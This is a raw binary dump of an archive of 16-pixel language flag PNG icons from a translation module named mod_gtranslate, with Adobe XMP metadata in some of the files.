IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FrIDATxڤ��J\A���sw%�j@�*+R�Xi|��
�6!m
������]��ŮJ�1)�EDV$FCP\���ܝ9)v��e/��4�|�s���)��;o9���~eOM+yTb�T�>D+���&���LQ��4�'W��P���-
��u��ɸL,�k�XX���Os`�����E�p���h���y��Η��t��
0�x��(
�7�y�t�GOs4:J�=|��HDb��c�������q��1�;��)�a��TB�r��T�o����'R��wҔ�b�IƧd��!���/"��7�̤u>�*e��.������l�����J��(���x���B�V��I�x�����q��P�"IEND�B`�mod_gtranslate/tmpl/lang/16/ga.png000060400000000660150746170550012777 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F6IDATxڤ��J�@��MҠ��C����U�	�m�x�=/>�>A�@�^lj�i�?��zhI�J��a�o���{�@o��#�E@��������a�<�l�/gе�r5�ؙ�3�\�,�{�����%�j�d��l�^����#m�E�T�Zn1�u.�0�@jI:��Ԍ��4x
-k�xMGd��;~[Î����(%�'�w�]t5_Y���4�Q�P�����@+��!D��B��Ե&��{G�����F5ژ
`�u��F@�$
{�o]g�s�t�[ȁ���!�{,`ġ�7R��,քIEND�B`�mod_gtranslate/tmpl/lang/16/sr.png000060400000001036150746170550013032 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��kA��3��d� �B��,"x� UT�z*=y�ҿ��^�?�x�M�Es�f1�%��&�~Lwv<d�
�bfx^~��
k-������D8V����F7��pƺ-��۽�f�1�ܻ�����@��k	[f �>%�0�z�T�ޖ`�����4"y�h@*�$�Q=��1�5�AX�>Tȣ���$�P�76)�l�=�h�R�Wx�^1�H_�jѥ[����0��kW�gk�F8�����T���\�� '������3�ol�4�$��4��$XL�?��[�v��R���#�'���+��]c�ӡZ�֜!At���S�-�p�Xީ���3�������[/���(IA'IB���U���0�y���INX�Z\v���u��c	��IEND�B`�mod_gtranslate/tmpl/lang/16/pl.png000060400000000474150746170550013026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�;�0g��@@�h8�?5%
����K"��l�j�ϫg13��5���SF�w	���>�v��6^�q@�@P8��d��8U�,�1%��t�"�m�`�4�e��]�1e	,�a��w=RUX���!��NJD�$�W?J����PWyK��5�qy>��@�G`7~7�6�����,�Ο��T�a�9IEND�B`�mod_gtranslate/tmpl/lang/16/su.png000060400000000762150746170550013042 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FxIDATxڤ��J$A������?0P�`"31�'0�0�V

�705�@D040��IuAQ����LWm��3-6�Tt>�)�Q�9�#�|�M#T|�gm}�y�����0��=��Q����	f��Q����C�.��q����2�gi�Ho��	
l��%o���xiB�J���Q^l��h���ȇ�Zc3>��U*�L
��t��_:�DQ]]d"q��M��m��m����"��s"@DZDZ��v`�nbof��`0��n�i�A�Zi넉��Ds�q���ˣP��OЇW(��ڏ�1t��;��w�r���c�;�ȟ�/ѧ�V�(��S����f����0�u�7�ݸpԯ�IEND�B`�mod_gtranslate/tmpl/lang/16/iw.png000060400000000724150746170550013030 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FZIDATxڤ��NA���<��\�
j����h�o����/�3�>�	���P�P�`c�CD/��X�8�����̟��Y��f ,��4���d��o3ub�RGw�nY�e��T����]����8m/R;�m������Rz�զ.V�sJ)
�)%�i�4���GT�C�}����Y+��R��ӳ��W���m��s�~t"�Q���v#�Z���y ��Z����Ұf���m;��׏�R]J����m�3�;�ƴ��`�s�c��B�y	%��Ǣ�$���G����7�x�\.?ϲ��|~C ��䷁��oSb�US ���;���ں����IEND�B`�mod_gtranslate/tmpl/lang/16/sn.png000060400000001117150746170550013026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��kQ���L��d�V��tZ�P���Ə�����ƍ+�.
v#�Jw�UP�i��X\�J
)�u�UkI�1�d2ׅ�C��.�w��=�%"l
Ёh�l�C̉�/c���]q�F���J_ާƙӃ���8h9�T��?ö�4
�D�`�r|]�����m���A�h~��T�ұPE?5J��(}�Y�GcJ5��}j˿-��3���_:�h������,<����D��㬸�ַⲔ�e�!��^	J�R��CCbFS%	I&�X@MW��n<'`�ُ۾��#�Me8�5)�
�W7V��.��-b�X�yv�G�'����f�K?}x� ��5����w�\��Y�a
��&�Paeq�mT�d�/�3s��'ט�4�o��3-�y4�{�z���wǙ|��-�#�=�@W��
�V@��P�u�Sۍ�X�r���@IEND�B`�mod_gtranslate/tmpl/lang/16/ca.png000060400000007325150746170550013000 0ustar00�PNG


IHDR��h6tEXtSoftwareAdobe ImageReadyq�e<
@iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.352624, 2008/07/30-18:12:18        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:Iptc4xmpCore="http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/"
   xmpRights:Marked="False"
   xmpRights:WebStatement=""
   photoshop:AuthorsPosition="">
   <dc:rights>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:rights>
   <dc:creator>
    <rdf:Seq>
     <rdf:li/>
    </rdf:Seq>
   </dc:creator>
   <dc:title>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:title>
   <xmpRights:UsageTerms>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </xmpRights:UsageTerms>
   <Iptc4xmpCore:CreatorContactInfo
    Iptc4xmpCore:CiAdrExtadr=""
    Iptc4xmpCore:CiAdrCity=""
    Iptc4xmpCore:CiAdrRegion=""
    Iptc4xmpCore:CiAdrPcode=""
    Iptc4xmpCore:CiAdrCtry=""
    Iptc4xmpCore:CiTelWork=""
    Iptc4xmpCore:CiEmailWork=""
    Iptc4xmpCore:CiUrlWork=""/>
  </rdf:Description>
 </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                           
<?xpacket end="w"?>�
��+IDATxڔ�AK�0�_�ئ��ۤ��<��BPijo��W��'~�1<L��4��IcZ��ֽC�{�y)�`�œ�,���)�,�u]�$ɀ_��y��nj��z����I���Y9aXJy0����jH~��̓9T<~]K��o�>2*�t��9�wP{���P~6�����r~@
��l�kU&iK
�/��=��6F
m�-�!*~�I�q�p�C�yb�����pL@���W�
X\9��w�mA��g�z�MC�	�v`��xF)�<��b$�Л���	���ж�-��L}i�i�'IEND�B`�mod_gtranslate/tmpl/lang/16/te.png000060400000000657150746170550013026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�mod_gtranslate/tmpl/lang/16/si.png000060400000001112150746170550013014 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��jSQ�����9%I�b�R/u�8p⍂>�>�SA�CG���@�Y���b��h��4ɱM���>g�� !�4횬�����D���R�9鳔��6�u��,}8�
�����<#�mC�W��&NO�
U��;�3��	`DJv�.��L���$=�@�J+�Ԛ=�}��7K��ʓ9� $���qYS��5�ȿG���0��	� �;�#���\�Oi$���@�-d�
�
x_��+��n��e�����)Ԫ�����@�@�`���5��(�B	A"#����'�֢�����@vN�*�
[��ZG����ǁ����H�]�����Tk9�D�@��S���:��s�VW�ߎ]!F�u��/����2����k)Z���ѥR�+�|հ�P㽟�����a��|�]P@8��8?�
0�G23��Q��˷�c��IEND�B`�mod_gtranslate/tmpl/lang/16/my.png000060400000003020150746170550013026 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:3B38E600918311E0A1BE923EBAEBAF75" xmpMM:InstanceID="xmp.iid:3B38E5FF918311E0A1BE923EBAEBAF75" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CFCDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�~�>�IDATxڤ��O1ǿ>߅�D�O!�J�Z���0�*�vC�?�[�.��Gtk:uk�.�@ ��Xa��@J]CBr?|v������������=3�i�$G��,-"i�ԍ������۔�(���V`�=��y#�QO�(4*7ݒ
��a����� !�aR��@@J���B��-��
� �uXI���^VK��h�6�fewn�jE�+���9��:~6J�r����k���r�~��zO`��Ǖ]\�~`go��;�4��:H��8$}�e��o~��{e���׺����U�"q��}�w�F��+x��V.� �"��> ) v�D[!6
��~]!�W�7��<��Z� �T�zР4v	8��lptH�|z�1�!2�F_	�N�١��ݯLU8�+g�Q�Y/c%7I��{�g$ƃA�����U�IEND�B`�mod_gtranslate/tmpl/lang/16/tl.png000060400000001004150746170550013020 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�?K[a��}�\H�` ���F�(tm?��:
.�B!_��~�m)�Zh6�b��8����A�͟{��{n�!�b�Y�t~�9JDx���ќE�`N��r�G��{h�=ءݮ�
��
k�P*���������9@�P�|Q�X,��W2����+�r8�h�Zu��gK�Z��V?�����a����	Y�2�
++ev����Q�2	E�D�a��.@#�1�ߧ}��nQ��bql��P����3ʵ����N$z9=�o�o�H���eS��r�'
R ��}���t9�I�6-I��$����\כ�^!��%	��l��k�J�����묀9`(���J��?��(�z�;�wȔQ��IEND�B`�mod_gtranslate/tmpl/lang/16/co.png000060400000001067150746170550013013 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYscc*�S4tEXtTitleFrance - Corsica+U�PtEXtAuthorPatricia Fidi3M�9tEXtSoftwarepaint.net 4.0.12Ck�eIDAT8O��1˂@�+�Ih���BcK�n�
ECsCߠ5�LG�/�Ec[
IJSA

!�O�Wo��F?xD���O�K�*��'!.���ib�X�v��i���l"�J��4�|���q���̚�m۴$I�S@�N���*��)f�ks��^�q80�L�h4��d���n�t:ѵ1A�^G�XD�RA��G��p8D�\�`0�~�g͈7��y�l�~1�L�T*�P(�Z�²,�G֎x\.�r�繉��{���j��v�e��Z��S�r�0��:kF���,ӫ{�j5,�Kz����H7+����h��n�
���^��#���V~!���~��A�iy�5��IEND�B`�mod_gtranslate/tmpl/lang/16/bn.png000060400000001101150746170550012776 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA����;lj�CB�@AT�"4.��x
�q@T DAE����.�"��s�a�nw(lt������J��i������D�@oV�&Ȯ=�{��u4w�&���h�+>x�k��5g��w[� (ʫ�7+����QN�jsL��;��ρn��^��y�Q�S����k��T�1�cWp{�s�R�P�
��“�14ID��VGeN���#w�K@�J`�5<=�2Z�iO(-;�O��-�wTL�Q��(����ጐ�I--��5�/K��NUPϹ����
/4Q��MkVY�4�s�W��#VIE��fVٺ ��M�U�NPي���x���n�k�;�;�p�p#3+CTv�\�HUI�\Ix��V9�
��L���u�iP�ݣc[V|������,@���P{ij �<��q�=����'�IEND�B`�mod_gtranslate/tmpl/lang/16/lv.png000060400000000557150746170550013036 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�An�0E�c+EJ+�"�aɆ='�7��	8@�
�D���OZ*UJ�o,[�o��gf�#��y"�0~[���DY��(�my^.{������O�4�=��]_�������dBR��A�-�~Yd��e;�1�P�
�g��W�'��z0����ł���^�Pl� "0�T�_�ty�	���9Yޯ-%��@�f�W�-ͨ3�i��>�σ�Z@ݽ�=���1]�IEND�B`�mod_gtranslate/tmpl/lang/16/bg.png000060400000000540150746170550012775 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=N�0��I�,!@���A\��Y�9�@H�����CA�,]~^3r���o��X"rਫS��wTf�:���Y�&( ]H��dg����9��l}�a{/,�ν�U���f4���^�j=��I~H�mP����(�.����ۛ{.\Nl�Q��(x�Q.{@��eDF̌Vu���
Ĺq_㟧h0���}NT�
8�'���g钘�HdT�����3Y²ġ<IEND�B`�mod_gtranslate/tmpl/lang/16/el.png000060400000000661150746170550013011 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F7IDATxڤ��JA@߲�(�&�"��,,D$������a�/��(�6V�
j%	h~��Db��#��^��α��"A��5˲3Û�%"��H{��| �tTx��S�\`��b���+n�d
�-&�:��*�Y��T�E�
�D��W�JM� �Zw���L�$�<��:{kf�T��䗹�3��]�_��+�eZ��N�G���r;�(�m��aZa��8�D�q�� p�Ɍ�z��7'�2�������m�'�wLU������x��
�*�|Oi`��\^�ۃ�#O
:�?����A��IEND�B`�mod_gtranslate/tmpl/lang/16/hmn.png000060400000000725150746170550013174 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F[IDATxڤ��JA���ۋ	&��)�����#ZX�>�
��M,�h����;E!�,��7;?f���)���{9�M�����d@����M��wv���u����b7�3�\��a0�ػ���%���X�@.�GoM�M�'�XUO�t�E���x�k�`-�vN�,�q����=�+
�k*ω��|0��)�r�*4�
=���$|�A��LYҹ$�f|���&�����&�@Y���TE��-HK)xJ��5UHJ-�����L�[p��Zj�D�Z&Zk��C�r3�R�S\���/���	����X�vu�{E�������w�]�IEND�B`�mod_gtranslate/tmpl/lang/16/ro.png000060400000000715150746170550013031 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FSIDATxڤ�=N1F��� HHBp
'�T܉#@KE�
�AR��DZ��z(�b;�DXY�l?�(�?C�7�W������}y��"�o��_��뫝�6��`7]͎�v���@72�&3�gQ�~��u{{q ��u�'��D��_�A�Z���T�ᣨ(��ůH����&\�c@�㨡���ʧā{�>U����s|R>Mj���l0��
��|Ъv��$�0��{A�_���
!^�6J����:�,�ѥ�촃��`E<ӯa����L�k�,g�}`s�^�/
�捔�h�����$�l�RIEND�B`�mod_gtranslate/tmpl/lang/16/fr.png000060400000000676150746170550013026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FDIDATxڤ�;N�@����(@��h((�(hr�t�sp�hr�PE<D�9��޵�C�ĉ	F�2�jg4�og��Q"�>��8Z�>��t�g��Jܿ��"\==��@�(���5n��5+a����mm�x�2Nk���S$��`�%�fDѼ�F��/<Mn� I���8�S�)�(.}lb6	�^F'����K_�NH}o
H��ιz7r�e����>Ĺ���@@��[����@)U���[�<NH�]W`�%� ��T�1v-�)�L>+��0�įq�
h��0�����w�U�����—��]dIEND�B`�mod_gtranslate/tmpl/lang/16/fi.png000060400000000625150746170550013007 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�AJ�@��!c$�]X]v[е��x���ޤ���t(�EjZa�t���6�IKR�`����y���p�qL��6�!�?�s�2r���o���ѓ@�
��m��H��V�����$���+t�ndZk���gz�ċ��V�\߽���a�t6/�Nyψ��#W�a7�D�
�Dk�X��x�a�����2PJ�r�^=�g_(�0�� I��m�cˑi��}�k�r$�c��(��y^�ﲳB�t�K�Sl���rd���L�����[=�oIEND�B`�mod_gtranslate/tmpl/lang/16/ko.png000060400000001222150746170550013014 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ��Ka����즠l��܋��F�`m��t�ء��n��-���nuH��0]d/%�`n��Zd/�L�Etut���퐻(E >�^��y_^~�!"�F`��$j��)"�QaJ�:�ֈ�i��ngo~X\\�T*��_�0YYY�X,-�-�X[[c~~۶���G���F�Z�S)�|�����$�I���L�9����F���(Ɏj����X���|�L.����*Q��H��/""��/"��_���l޾)߲�R���)�%"���Z|� �� ���x����c�{�{�A&��<���E��8���(���<��DS玚�~|���]���
@�.G=��B�@>����,��">���ߎ�����9?̲��|>���\+�jX�E,���YF�^��˻���ׯ\`�^cz���H$�A@&��\.���FWW��ё�֦��ij��\������K��z��I���X,���p�tp愷P<�D�I�	
��{�m���^IEND�B`�mod_gtranslate/tmpl/lang/16/pt-br.png000060400000001257150746170550013437 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ�KHTa�����s�q�F�il*$E�I���ܶiSd�ﲪ,�ePF;w����hW�����&�%�Ʋ��͹�˜���F�6��xx�x_!�d'#�Z�~}og,�������V%`:
 �(B�K����:�í�-$�#�(B�&�D��*���T!
���v֬2��"���X�̾<M�	��g��&��Nsh���vU0m�B�B�*�ے�tt���=���UIwW����j�$݌#UL�@(&�p��tE�H�b��X�J���O�;��1�w}�a� �[-�E�S4��U�?*2:��ti�z���G)Lu%Cg��9�-�I
�dA�r"��|#�udp�J�*_f~1�|���h�2s�1�YmӁi��5���j�+Wνez&��d�
'�~�d�S�&ڹ7݊��Zcu`^�K�*�lgd>č�1n]H��-��b$2!|5U|�M�0�8�,t$���k��r���F.u��qy0�B�V	�9���Ĵ6�hI�e%��#e`pF@Ws!1�g�(��fր��"��8�%vZ������>)�IEND�B`�mod_gtranslate/tmpl/lang/16/ka.png000060400000000775150746170550013012 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��.Q��3gvCv�n�g7D%Q	�R�-�;й�{�蹀I��*�,��1�|�f&K��&'�x�y�*�?R@('� 
�7�q�E6��ʪ�lm�_�]��o'��7�A;�q�e���5p��h1����D�l]�Tj?1g}�`�A���������ϯ�tR-Eu7��М[�4QǾ�@�+Ja���ZX�Uϩ���ݦ���G�������'��T��
)�~vN�^��Skt��n��k��09zjx���CƎ��T�ɥ���^/� �"D)@ 2�P*X�� a�I4�~~B��V���4+
k㓑�̸@E�����
����H��8+�
L#�B�V�$�'r T�]�� ��ȰÇIEND�B`�mod_gtranslate/tmpl/lang/16/no.png000060400000000745150746170550013030 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FkIDATxڤ�A/Q��13�ҦaA� �!B;;K	����o����ʎ
{�`a-*�Du:2��t�Z��FKҸ�w߻'瞜w�!"�' �[g/��w(�7�_�W��OY�;��xws�W��$��..���3#d�纈��5����ľOTyK`w�U��=F��B���JaV=⪗��jub�֩����R�u:�[G�WA ��0�~H(<_����W,d�
�V�nG����
\�m+�]YE�6q����=q����d�9�&bԵBL+�v������Vm�5ҟ����2���tH��:!Б7^5�:~���8���wg(@��]�'0[�d�H��:����C.�IEND�B`�mod_gtranslate/tmpl/lang/16/zu.png000060400000001130150746170550013037 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=hSQ��s�Isc�`�M�FD	-�����䨂��T�Bu����Ppm;� H�J����n
:u�j#ި`cn��qH�bc �]��=���W(�؍0D;o?r�_��9YA�#��
e��"@��$�{�4-��S>���X
83;��5
��dz�h�}0(=��&������
��!���<^Cඇ���J���0<9�/]��哪Rx8-rG�e%�Z�bQ�b���M�,��i.�o`�u�����nWJ�T�WX��d2���T�Un΅(G$K��ËG���d3+l���q]g��X,4z�����#�H�+3��B1� `lb���s]ᰤV��}.���|14W@(���)�'/q��{�5)�@�im;�kE��P��	�%/ro���L]]ح���W�^�ܟg�v�;K�x~��5l��w@b}v���w���	�G����#�S�IEND�B`�mod_gtranslate/tmpl/lang/16/de.png000060400000000607150746170550013001 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F
IDATxڤ�MN�0��q�
)�UbS�  ��S�e�v�ADQ�?�mM(ݹ�l,[~o>�o$��9%���c��9P�u�qJ��z}������ҐE�1��l�Ȝs�}O�4�������r�s ����mK۶IJ)���ZQ|jB����"r����G+�&�5�WBק�W�Y�'0ư�CH2�À����Ѱ��AH��o[��#p�1W)a���� �a��fg�xz�N	��V��H��.@6Rv����;ο��v�3��IEND�B`�mod_gtranslate/tmpl/lang/16/id.png000060400000000515150746170550013003 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�̓=�0���CA���wa�,ܤ�,D�I�`~T6o�,�=?˶~���S��&���M�|�� �.ZV���2hi���'�^-�A;г)�4�D﹞+�U�����`�s�O�.�݊R�y�Yp���ZI��V���K���'�d�'��m[ʲ���&@��5pP�~<�N�@P���mǹ���!�QIEND�B`�mod_gtranslate/tmpl/lang/16/gu.png000060400000000657150746170550013031 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�mod_gtranslate/tmpl/lang/16/so.png000060400000001002150746170550013020 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��NTA���Y�]��`�fLl�†����|
j���G��2��@j��ؠ��{gfg�X��	�.�9�9��˜r�`x\�Y���lm9��͍�'hŤ�xھӐ�MiP�g�2@b�p�A9��
�,�r��&Xڏ��r�(l�R��������}&�V��9�u�@�!*��/��3z�-z����q1R����
�(�o��&x��%������rD���������ɭ'H(�~_��	�RUT!&�Z;A�,�f"՞RU�.
��������bJXg�r�E�r�ԟ����P�0#�{T���YM�f�	�V�[�R���p3z:@h�'�"�3D��}��VϷ8rU�IEND�B`�mod_gtranslate/tmpl/lang/16/st.png000060400000002617150746170550013042 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:F1615503909A11E0A2F689C54BBF1874" xmpMM:InstanceID="xmp.iid:F1615502909A11E0A2F689C54BBF1874" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:74BB28C38B90E0118CC8CC8C2C94B540" stRef:documentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��"�NIDATxڤS�JA��=7'Q,����������X� �		�V4*Z,����4�*(��[ow�Y�"!𒁷���{�f�c�Z�&B �o�P�~�Kes��}���G[K$P�����g=S��-�E�6��M��Ƒ�@�t�|�Z���Z����;{ܼ��C\'���ڕ�Wx��/�q�@�$ޢ���� ���'�+�l����g8��u�q�qA��{e>V���lt��*HM}��㒀0t�`�#�0��>�d��{��*T�Ap��GW��Ǡϙ�A�d��e��^g�aT䩂XA�$�/,�&�OU���������ʷ�}IEND�B`�mod_gtranslate/tmpl/lang/16/ceb.png000060400000001004150746170550013132 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�?K[a��}�\H�` ���F�(tm?��:
.�B!_��~�m)�Zh6�b��8����A�͟{��{n�!�b�Y�t~�9JDx���ќE�`N��r�G��{h�=ءݮ�
��
k�P*���������9@�P�|Q�X,��W2����+�r8�h�Zu��gK�Z��V?�����a����	Y�2�
++ev����Q�2	E�D�a��.@#�1�ߧ}��nQ��bql��P����3ʵ����N$z9=�o�o�H���eS��r�'
R ��}���t9�I�6-I��$����\כ�^!��%	��l��k�J�����묀9`(���J��?��(�z�;�wȔQ��IEND�B`�mod_gtranslate/tmpl/lang/16/ja.png000060400000000727150746170550013006 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F]IDATxڤ�?KA�{w9c���"
b#�_@,[�����X�X�je@�D�H8�_�hec�Nrw��Z�\b"H�i����7�Zk��l`�~v��, ��~멻c��c����ZJ*�WTn���yW�vǔ� ��4�>�G|��@�&�ddo7�H)0�0�
����	���{eQ�r��w�� ��O�DP|�h�F�R->107KC��c�°ѵjK<
0��'"^Cc��3�on!��R.JyH�Z� ���a���у}bS�xg ɵ�;ۿ8����8�[8������Z�B���"�H ե�^E=j����E��{G	�>�GIEND�B`�mod_gtranslate/tmpl/lang/16/hy.png000060400000000636150746170550013033 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F$IDATxڤ��NA���.�	`A��`��O`ac�Z�X��jlmH���L�v�ݱ�SCq��l3��73;���G�����G��@zs;;����~d���@r~�YP��е�Ѣ@Ӕ0_lGk�њ��-
c�s�劸Z5�0��r,�Ur�(XJN})"�kI�p�,��J�,�y��Y��A����!��5�ug�[��Y�k-<^�q:lC�!U���i����s�C���-�����ɜ�x�R.��b�S�u��L�|F/@�=�S`*����i/�=����ymh:�oIEND�B`�mod_gtranslate/tmpl/lang/16/en-ca.png000060400000001072150746170550013371 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA���_��XE
�p%&���@E<	��FD����!�P� ]��ǎP(��]���3�s)�����r���3�9W��)D�bu�S�̓�[�x
�՝�'�z�L�?~X���ڍ�z6n_��_�c(G#�`�)��t��[����>��s�1~`uA���4������mV޼FE��4E�>�(t���t�=�����u��T����'To�qI:˦y�}���!�ۥ��9r�<<�Ç����Yz����k�%|�1��8Ǚ;�Yy��u�$�	��X~������+c�gyQ�ϣv}�/��?�����e�֥��RX33��HN�Xܺ��~!\o�DO!ΑzF�6P����8�G8�0Sm���0 ��;1H߫�q��V�Ɯ�0z
�E��$(�N���f‹Ԯ~�IEND�B`�mod_gtranslate/tmpl/lang/16/vi.png000060400000001010150746170550013014 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�Mj1���z~�c{�@��w>���� >H69A�9�Ydi�
�C��ό#�[Re��̀!0�۔ҫ�WO��<���U��,����������u�H�������s�Y@�p{0+�}O^,HU���Ƨi��"ņ��}`��i�Mb ����ྔ�yP��1�(z�U�iA��ێ�7{��U^��ׂŧ1�AE��9���ܶ�����+(�sI�~�v�S��x�80r 7Bz���Q�m&=(�P!�ƈ�
A���<���F�r�0{�c_&4FJ�W
B@�b���)��@�q�L�}U�o����?C������5A�eɷ�v�aY��c'�8vL��)�`��.H@'�����rc�IEND�B`�mod_gtranslate/tmpl/lang/16/am.png000060400000001066150746170550013006 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA���ٵ�J�C(�� Aa��*UDAG�J�t<�
�A�DA�YF
NB��e;����\�5v�h��f����3�\%"\�W&�<偑���>�����U,R�~m�?�M��e��j,X�2��ft���b5
H�	3��j���hIH�>�1B���}[�(�v�Ovs��@��d!���|�s�A���Wx���V��D���/6>мwyj�$�I�/�t�Ld���v�h�h,wH�p���,4�	��ӑ@��H�U�v"h�?d(�^Ra���5����t5�3�Yhm�(�,)=6�wvx��b�i����.-�\�:Ǐ���~N�b$�$�<n�xh�9S�z�H|�d��0N�}bnR�����QeXb��ȡ���>�|�k��"a�
Xn�9���d�̜����g��T}
��IEND�B`�mod_gtranslate/tmpl/lang/16/fa.png000060400000000727150746170550013002 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F]IDATxڤ�OkQ��댙�i�
